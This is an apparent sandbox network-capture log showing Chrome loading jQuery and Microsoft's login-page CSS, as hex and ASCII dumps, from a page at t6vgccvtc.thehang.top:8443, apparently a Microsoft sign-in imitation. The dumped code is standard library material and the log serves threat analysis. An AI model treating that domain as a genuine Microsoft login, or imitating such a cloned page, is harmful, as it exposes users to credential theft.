2025-01-10 17:37:43 UTC	4522	IN	Data Raw: 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 63 29 3f 72 2e 6d 61 70 28 63 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 7b 6e 61 6d 65 3a 62 2e 6e 61 6d 65 2c 76 61 6c 75 65 3a 61 2e 72 65 70 6c 61 63 65 28 69 62 2c 22 5c 72 5c 6e 22 29 7d 7d 29 3a 7b 6e 61 6d 65 3a 62 2e 6e 61 6d 65 2c 76 61 6c 75 65 3a 63 2e 72 65 70 6c 61 63 65 28 69 62 2c 22 5c 72 5c 6e 22 29 7d 7d 29 2e 67 65 74 28 29 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 77 72 61 70 41 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 72 65 74 75 72 6e 20 74 68 69 73 5b 30 5d 26 26 28 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 26 26 28 61 3d 61 2e 63 61 6c 6c 28 74 68 69 73 5b 30 5d 29 29 2c 62 3d 72 28 61 2c 74 68 69 73 5b 30 5d 2e 6f 77 6e 65 72 44 6f 63 75 Data Ascii: :Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ib,"\r\n")}}):{name:b.name,value:c.replace(ib,"\r\n")}}).get()}}),r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49725	151.101.66.137	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:42 UTC	544	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:42 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2710275 Date: Fri, 10 Jan 2025 17:37:42 GMT X-Served-By: cache-lga21947-LGA, cache-ewr-kewr1740064-EWR X-Cache: HIT, HIT X-Cache-Hits: 4188, 0 X-Timer: S1736530663.816150,VS0,VE1 Vary: Accept-Encoding
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2025-01-10 17:37:42 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49722	152.199.21.175	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:43 UTC	621	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:43 UTC	735	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 25153410 Cache-Control: public, max-age=31536000 Content-MD5: 0O2H9juGYL0zkzcYWr0NIg== Content-Type: text/css Date: Fri, 10 Jan 2025 17:37:43 GMT Etag: 0x8D982C8F03AF4D4 Last-Modified: Tue, 28 Sep 2021 21:42:58 GMT Server: ECAcc (lhc/7912) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5ad24bc7-901e-0022-45c1-7e9d11000000 x-ms-version: 2009-09-19 Content-Length: 110118 Connection: close
2025-01-10 17:37:43 UTC	16383	IN	Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 Data Ascii: /! Copyright (C) Microsoft Corporation. All rights reserved. //*!------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed
2025-01-10 17:37:43 UTC	1	IN	Data Raw: 73 Data Ascii: s
2025-01-10 17:37:43 UTC	16383	IN	Data Raw: 2d 31 2c 2e 63 6f 6c 2d 78 73 2d 32 2c 2e 63 6f 6c 2d 78 73 2d 33 2c 2e 63 6f 6c 2d 78 73 2d 34 2c 2e 63 6f 6c 2d 78 73 2d 35 2c 2e 63 6f 6c 2d 78 73 2d 36 2c 2e 63 6f 6c 2d 78 73 2d 37 2c 2e 63 6f 6c 2d 78 73 2d 38 2c 2e 63 6f 6c 2d 78 73 2d 39 2c 2e 63 6f 6c 2d 78 73 2d 31 30 2c 2e 63 6f 6c 2d 78 73 2d 31 31 2c 2e 63 6f 6c 2d 78 73 2d 31 32 2c 2e 63 6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 78 73 2d 31 36 2c 2e 63 6f 6c 2d 78 73 2d 31 37 2c 2e 63 6f 6c 2d 78 73 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 78 73 2d 32 34 7b 66 6c 6f 61 74 3a 6c Data Ascii: -1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-13,.col-xs-14,.col-xs-15,.col-xs-16,.col-xs-17,.col-xs-18,.col-xs-19,.col-xs-20,.col-xs-21,.col-xs-22,.col-xs-23,.col-xs-24{float:l
2025-01-10 17:37:43 UTC	16383	IN	Data Raw: 67 69 6e 2d 6c 65 66 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 32 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 25 7d 7d 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 7d 6c 65 67 65 6e 64 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f Data Ascii: gin-left:95.83333%}.col-xl-offset-24{margin-left:100%}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;border:0}label{display:inline-block;max-width:100%}input[type="search"]{-webkit-box-sizing:border-box;-moz-bo
2025-01-10 17:37:43 UTC	16383	IN	Data Raw: 6c 6f 77 2d 78 3a 61 75 74 6f 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2e 30 31 25 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 33 39 70 78 29 7b 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6c 6c 62 61 72 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 2c 2e 74 61 62 Data Ascii: low-x:auto;min-height:.01%}@media screen and (max-width:539px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.tab
2025-01-10 17:37:43 UTC	16383	IN	Data Raw: 49 22 2c 22 54 75 6e 67 61 22 2c 22 4c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 22 4c 61 74 68 61 22 2c 22 4c 65 65 6c 61 77 61 64 65 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 20 55 49 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 6e 20 47 6f 74 68 69 63 22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 48 69 6d 61 6c 61 79 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 20 54 61 69 20 4c 75 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 Data Ascii: I","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mong
2025-01-10 17:37:43 UTC	16383	IN	Data Raw: 61 72 79 2d 61 63 74 69 76 65 2c 2e 62 74 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 2c 62 75 74 74 6f 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 7b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 39 38 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 